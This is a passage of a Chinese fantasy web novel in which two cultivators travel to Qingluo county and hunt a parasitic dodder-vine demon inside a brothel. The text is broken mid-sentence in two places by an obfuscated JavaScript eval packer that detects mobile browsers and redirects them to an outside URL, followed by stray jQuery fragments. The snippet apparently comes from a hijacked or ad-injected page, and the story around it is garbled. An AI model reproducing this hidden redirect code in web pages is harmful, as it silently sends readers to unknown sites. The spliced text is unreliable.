他是阿娘的孩子,阿娘偏爱他,因为是兄长的弟弟,她也偏爱他。 苏以墨又瞥了眼她腰间镂空的蟠龙玉佩,翠色如新,一刻都不离身。 他唔了声,只咕哝:“是他们先欺负我,推我坠崖的。” 秦月华“嗯”了声。 “饿了吧,吃点东西。”她雇车回来的途中,顺带买了早膳,从空间戒取出来时,还是热的。 女子神态自然而从容,宛若他只是外出逛了一圈,再回来吃饭。 苏以墨便也不再提,吃起素包子,望着她拿烧饼蘸豆浆吃。 兄长最是喜欢这样的吃法,小时候还将蘸了豆浆的饼喂给他,苏以墨常吃酥饼,但不适应那种黏糊糊的饼味,因而总是习惯性地扭头,逗得兄长哈哈大笑。 倘若不是极了解兄长,同他长时间的相处,这样不经意间流露出的一举一动,想必做不出来。 苏以墨敛了眸,安静咬着包子。 * 中州各郡,大大小小宗门林立。 天阳郡位于中州的最南面,一路向南,要先途经桂仙郡。 秦月华在驿站雇的马车,走的官道,途经城镇便换马,虽更为通畅,但路途也更远些。 这一路,走走停停。 每抵达一处乡镇,在当地的客栈或酒楼休息时,秦月华也会替人捉妖,赚些外快。 距离当日离开桥西镇已经一个多月,他们才踏出万法门所在的千霄郡。 这期间,苏以墨的双腿完全养好,偶尔也会随秦月华捉妖,试试新学会的法术。 时值三月,春日明媚,鲜嫩的花草从泥土里钻出来,河水潺潺,岸边踏青之人众多。 桂仙郡极为富饶,郡内大小宗门众多,整个中州,除了第一仙门坐镇的天阳郡,便是桂仙郡最为安定。 岸边或学子同游,或男女相携踏青,说说笑笑,好似完全没有被为祸妖物影响半分。 中州遍布驿站,日头西沉,霞光渐暗,秦月华将马车归还,便同苏以墨去县里找客栈住下。 桂仙郡富饶,即便是底下的一座县城,也处处都透着富庶的气息。 桂仙郡百姓信奉桂仙娘娘,几乎每处县乡城镇,都有桂仙庙,烟雾袅袅,香火鼎盛。 从千霄郡进入桂仙郡的官道,第一处便是青罗县。 此时霞光完全暗下,青罗县却恍若白昼,家家户户都悬着灯笼,就连路边的摊贩,推车两旁也悬挂着小灯。 富贵些的人家,身上穿的青色衣衫,在这样的烛火掩映下,会散发出缎面柔滑般的光彩。 并非某一种颜色,像是七彩杂糅,波光粼粼。 若是身处日光下,青色则会折射出出靛蓝色的光彩。 这是青罗县特有的青罗衣,曾为皇室专供,直至某位宗主看上这衣料,方才流至中州各地。 青罗衣虽价值千金,但没了购入的严苛条件,青罗县的富贵人家,也能受用得起。 或许是曾经得到的太少,秦月华并不节俭,赚得的灵石、银钱,要么用来提升修为,要么便是吃穿住行。 空间戒里,除了丹药法宝,食物衣衫,便是不多的灵石与金银。 更不用提这一路并不小的花费,即便偶尔捉妖赚外快,也是入不敷出。 青罗衣布料柔滑,灯火下光彩照人。 又一名着青罗衣的女子从身侧经过时,秦月华侧眸看了眼,暗自算了下空间戒剩余的银钱,又默默移开视线。 同路边的商贩打听了些青罗县的消息,秦月华便同苏以墨前往县里最繁华的那条街道。 她从不在这些吃住上委屈自己。 青罗县富庶,就连街道都比普通县城宽阔许多,高楼林立,卖金器玉器的都有好几家连着的铺子。 夜色渐暗,途经一处极高的花楼时,并不像其他花楼那般花红柳绿,灯笼成排,反倒装饰雅致,颇有些古典古香的意味。 里面虽亮如白昼,却门庭冷落,几乎没有客人往来,甚至还有些路过的男子,避如蛇蝎般,刻意离得远远的。 花楼外,则竖着一张木牌,贴着黑色大字的告示—— [诚聘仙家入我百花仙一观风水,若能改善,必千金重谢!] 风水这方面,秦月华也略有研究。更何况是千金重谢,那必然不可错过。 普通百姓没什么银钱,除妖也挣不到多少,在照雪宗时,秦月华还能靠驻守北地边防,屠戮妖兽,来领取宗门丰厚的酬劳。 可入中州后,除妖也仅是寥寥银钱感谢。 这还是她第一次遇到这样重的酬谢。 正当秦月华准备领苏以墨进去时,门口便被两名龟公推着搡着赶出一个人。 “哪来的臭要饭的,还敢自称仙长!” “滚滚滚!哪来的滚哪去!” 老鸨正发愁呢,也懒得教训那人,只让龟公丢出去。 被丢出的中年男子,胡子头发都拉碴的,他撩开遮脸的灰白头发,回头冲着门口大喊:“我真是修仙的!” 龟公如两尊门神站在门前,抱起双手,笑他:“还修仙呢,你懂修仙两个字怎么写吗?” 见那男子被拦在门外,秦月华并未多言,直接唤出长剑“雾蓝”,便立即被两名龟公恭恭敬敬地迎了进去。 苏以墨跟在她身后时,那没拦在门外的男子突然眼睛一亮,也蹬蹬蹬地跟在后头。 龟公正忙着迎贵客,没功夫处理这只窜进来的小老鼠。 秦月华两人被老鸨迎着,尾随的男子正要被赶出时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117051|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙凭空摸出一把剑,虽然是断剑,但也证实了对方修士的身份。 故而老鸨没再出声赶他。 等被领进一个摆件精致,颇为静雅的包厢时,秦月华开门见山道:“说一说是何风水问题罢。” 屏退龟公,待包厢里只有四人时,老鸨方才叹息:“仙长可看出什么风水问题?” 见她话里有话,秦月华不言,只是看着她。 她容色极盛,又生了双极漂亮的凤眼,眼下一颗小红痣,平添了几许风情,可在视线专注,神色平静时,便弱化了那点因美丽而生的柔弱,眼型狭长而上翘,反倒显得凌厉。 老鸨不敢再卖关子,连忙道:“这位仙长,我百花仙就是本本分分做生意的,可却偏偏被人说是藏了吸男人精血的妖物啊!” “我百花仙在青罗县十多年,也是有口皆碑。姑娘们都是良家出身,家里过不下去才卖来的,从不干那丧良心拐人的事,怎会窝藏妖物?” “只是这前前后后请了十多位仙长,以看风水为由捉妖,却什么都捉不出。倒是进了我百花仙的男人,一个接一个地被抬出去,其中还有位来看风水的仙长呢。” 老鸨说得愈发气极:“仙长您说说,他们自己管不住身体,倒说我家姑娘是妖物,这是什么理?” 等意识到包厢里还有两位男修在,老鸨兀自噤了声,只是一个劲儿地唉声叹气。 秦月华坐下,拎着茶壶倒了水,手扬起,给苏以墨端去一杯,便从容喝茶:“究竟怎么回事?” 老鸨据实以告。 原是这百花仙,从半年前,就陆陆续续死了二十多个恩客。 起初,是一名常来的恩客马上风,口吐白沫被人抬出去,后来,数个男子都死在姑娘的榻上,其中还有县里公认的,极爱妻子的翩翩儿郎。 将这件事闹大的,还是那名年纪轻轻便中了举人,即将上京科考的少年郎。 那少年郎刚满十七,才华惊世,莫说青罗县,就是整个桂仙郡的读书人,都知晓他的名姓。 原本不近女色,谁知被同窗带进百花仙听曲,私底下便迷恋上了百花仙的姑娘,一掷千金,同家里吵着闹着要为其赎身。 那姑娘最后倒是被赎出去,只是短短两月,那公子便又另结新欢,同人共筑爱巢。 结果便是不出一月,纵欲而亡。 此事在青罗县闹得很大,百花仙过往死了许多恩客的事也被揭出来,最后越传越玄乎,甚至编造出窝藏吸男人精血的妖物的谣言。 那被赎出去的姑娘,被指是妖物,走投无路,又回了百花仙。 原本是个卖唱的清倌儿,如今倒不得不挂牌接客了。 也迫于这些谣言压力,老鸨不得不大张旗鼓,广而告之地请仙长。 可楼里什么都没查出来,还死了一个流连于姑娘床榻的仙长,老鸨将消息死死压住,继续请人。 后面陆陆续续来了两三批人,无论是风水勘测,还是查探妖物,皆无果。 “仙长,倘若实在寻不到源头,便罢了。我会给三位仙长一人一金,以作叨扰之礼。” 老鸨根本不信什么妖邪作乱一事,明明就是那些臭男人管不住自己,短时间一而再再而三地找她家姑娘,最后纵欲而死,倒成她家姑娘的错了? 这些该死的!天杀的! 正当老鸨暗骂之际,胡子头发拉碴的中年男人突然出了声:“不,你这座楼里,是有妖物的。” 10. 收妖 话音清晰地回荡在雅静的包厢里。 老鸨一惊,神情肉眼可见地骇然。她强忍着惧怕,唇瓣轻颤:“这位仙长,你,你可不要胡说啊!” 或许是生意惨淡的缘故,外面走廊安静,连带着包厢都静得可怕,老鸨眼睛都不敢乱瞟,心里直打鼓,素手紧攥着帕子,半晌没敢再出声。 方才进入百花仙时,秦月华并未察觉到妖气。 可就在中年男子出声后,那点极细微的妖力隐隐从楼上溢散出。 倘若修为低些的,都无法觉察出。 秦月华深深看了眼那名中年男子,毫不犹豫地转身出去。 她径自往散发妖力的方向而去。 苏以墨同中年男子跟在她身后,老鸨也不敢独自留在原地,便也跟着跑出去。 秦月华速度极快,踩着楼梯扶手借力飞去,素色裙角旋起,直奔三楼靠右的房间。 三楼到五楼,都是楼里姑娘们住的房间。 楼层越低,身价便也越低。 此时,刚刚入夜,百花仙虽然没什么恩客,姑娘们房间里却都点着灯,明黄的烛火从门框里透出来。 愈发浓郁的妖气从门缝里渗出,像看不见的袅袅烟雾。 秦月华蓦然推开那扇门。 里面背过身,正在换衣的姑娘大叫一声,急急将半褪的衣衫拢上,遮住雪腻的肩背。 只是她动作虽快,但那攀爬而上,几乎要占满她后背,散发着莹莹绿光的无根藤还是让秦月华捕捉到。 她飞身上前,握住女子的肩膀。 在对方盛怒的眸光里,将她衣衫剥落肩头,附着在女子皮下,还未褪去的无根藤,被秦月华硬生生捋起,再徒手拽出。 女子顿时发出凄厉的惨叫,不似人声。 柔柔细细的,像极了婴儿的啼哭,无端的瘆人。 她被秦月华握住肩膀,痛苦到仰头时,眼睛与大张的嘴巴,都涌出莹莹的绿光。 那股绿意,涌动着磅礴的生机,却是以抽离附着女子的骨血为代价。 秦月华不再犹豫,唤了声“以墨”,随即七盏燃着幽绿火焰的命灯,便从门口飞来,结成北斗七星之状,灵气一一连接,进而形成环绕之势。 一股庞大的灵气生机,自头顶降下,化作翠绿色的灵气,注入女子体内。 与此同时,后背的无根藤被骤然剥离,女子眼睛一翻,也软软地瘫倒在地。 秦月华半扶着她蹲下,随即腾出一只手,迅速将剥落的衣衫拢起,又扯了榻上的薄毯,将女子盖住。 做完这些,她才得空去看那团被握在手里,迅速枯黄,还在嘤嘤哭泣的无根藤。 无根藤,又名菟丝子,无根无叶,以寄生其他植物,汲取养分为生。 而菟丝子妖,则依附在生灵体内,汲取对方的骨血、生机,将对方视作养分、一点点吞食干净。 菟丝子妖是能力极弱的小妖,只能靠寄生依存,在还是颗种子的时候,几乎没有妖力,这也是普通修士难以探查出的原因。 今夜,正是这颗菟丝子成熟之际,一旦借由人体彻底蜕变,化作人形,那么这座青罗县城,或许都要沦为它万千“孩子”的养分。 那团杂乱的菟丝子没了寄生体,很快便气息湮灭,完全枯萎,秦月华将其绕了绕,丢进空间戒里,打算日后拿它入药。 老鸨站在门口,围观全程,险些跌坐在地。 左右离得近的姑娘们听见那凄厉而瘆人的叫声,并未出去,反而是关紧门扉。 楼上有好事的姑娘,还站在走廊里,扶着阑干,探头张望。 等老鸨攥紧手帕捂在胸口,急喘了两下,终于回过神,这才瞧向离得稍远些的,推窗看来的姑娘,高声训斥道:“都看什么看!舞练好了吗?曲会弹了吗?” “妈妈我正差使人教训翠柳这个不听话的,仔细着下一个就轮到你!” 被老鸨这一通训斥着,那些姑娘们迅速关了窗,就连楼上探头张望的,也没有再看,同丫鬟回了房间。 整座百花仙重新安静下来,老鸨这才松了强撑的身子,手脚都在跟着颤抖。 她跟在两位仙长后面,缓缓跨过门槛,迈进房间,望着倒在地上的翠柳,哆哆嗦嗦地问:“仙长,翠柳是妖物吗?” 秦月华摇头:“她是被无根藤妖寄生。” 但倘若今晚没有及时发现,这位名为翠柳的女子,就会被完全抽空养分,仅剩下一具被菟丝子妖寄生的皮囊,变成真正的“妖”。 她被菟丝子妖寄生日久,高度融合,若非“七星点灯”续命,彻底拔出无根藤之际,就是她的死期。 秦月华看向打开折扇,站在一旁维持法术的苏以墨。 “七星点灯”亦是与天书的神通之一,苏以墨似乎并不藏着掖着,先前途中遇到妖物,当她的面,就使出了各种从未听说过的法术。 秦月华也从不过问。 察觉到那抹投来的视线,苏以墨轻扬折扇道:“嫂嫂无需担心,她的生机正在恢复。” 即便妖物被收服,老鸨仍有些惧怕地问:“那妖,妖寄生翠柳,百花仙死去的男子,可都是那妖所为?” 暗中观察的中年男子抹开遮脸的灰白头发,继续开口:“不是。” “无根藤妖以依附生灵,寄生存活,在完全成熟之前,只会汲取寄体的精血。待成熟以后,拥有妖体,才会继续将繁衍的万千种子寄存在生灵体内。” 中年男子这一解释,更是让老鸨身体打颤,她近乎是乞求道:“诸位仙长,我这楼里这么多姑娘,不知是否只一个翠柳为妖所害,还请仙长们救救我百花仙!” 老鸨说着,咬咬牙,许以重诺:“倘若助我百花仙度过此劫,必另有千金重谢!” “好说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117052|195933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好说。”中年男子又扒拉了下垂落的头发。 待结束“七星点灯”之术,秦月华将翠柳后背的寄生伤处理好,便应老鸨之邀,从一楼开始排查。 不仅是楼里的姑娘,就是丫鬟,龟公,乃至厨娘,干杂活的伙计,都一一被查验。 作为种子寄生,菟丝子虽几乎无妖气,但只要被它寄生,便会有痕迹。 更何况因菟丝子极弱,成妖艰难,因而排查完整个百花仙,也仅有翠柳一人被寄生。 从一楼至五楼,姑娘们不明所以,但出于对仙长的敬畏,亦是顺从地配合。 排查的过程里,秦月华还见到了那位被少年郎赎身又抛弃,最后被称是妖物,不得不回到百花仙挂牌接客的红倌人。 女子名唤烟秀,住在四楼。 在被少年郎赎身前,烟秀是住在百花仙五楼的清倌人,与其他两名清倌人一起,并称三朵仙花。 如今烟秀沦为红倌人,百花仙便只余“并蒂仙花”。 烟秀面容秀美,双眼若盈盈秋水,纤腰柔韧,曼妙动人,极擅舞,曾有人为求她一舞,出价千金。 那时的烟秀,能不卑不亢地拒绝千金,而今在外走了一遭,原本价值千金的舞便也不值了。 秦月华随老鸨去见她的时候,烟秀正在对镜描眉,即便没有客人,仍旧保持最好的体貌状态。 女子杏眼桃腮,穿着身桃粉色的纱裙,将弯弯的细眉画好,方才起身,提裙行礼:“见过仙长。” 烟秀的嗓子若黄莺出谷,清脆动听。 她盈盈笑着,楚楚动人,半点没有因从高处骤然跌落的境况而愁苦。 同楼下的姑娘们一样,秦月华照常给烟秀查验结束,却未离开,而是询问起那死去少年郎的事。 听到“楚懿”二字,烟秀眼眸恍惚了下,随即微哂,带着点轻慢嘲弄的味道。 “外人都道楚举人洁身自好,不近女色,家中连通房也无。可谁又知,他眷恋好颜色到了痴狂的程度?” “同我相识,为我赎身时,他好似真的爱我。” “可楚举人,那可是个天生多情之人。他当日能那样爱我,他日便能同样爱旁人。” 烟秀唇角讥诮愈发明显:“仙长,此一遭,烟秀方知,男子的承诺,是不能作数的。” 在烟秀口中,那楚懿,除了是个才华惊世,有状元之才的年轻举人,还是位沉溺女色,道貌岸然的公子。 他的死,并非妖物所为,而是纵欲而亡。 此事闹得沸沸扬扬时,曾有仙长路过青罗县,查验楚懿尸体,的确没有任何妖力存在的痕迹。 即便如此,烟秀仍被甚嚣尘上的谣言冠上了“妖物”之名。 从烟秀处没有得到什么有用的消息,秦月华正要离开,龟公忽从楼下跌跌撞撞而来,几乎是滚到门前,神情仓皇:“仙长,死,又死人了!”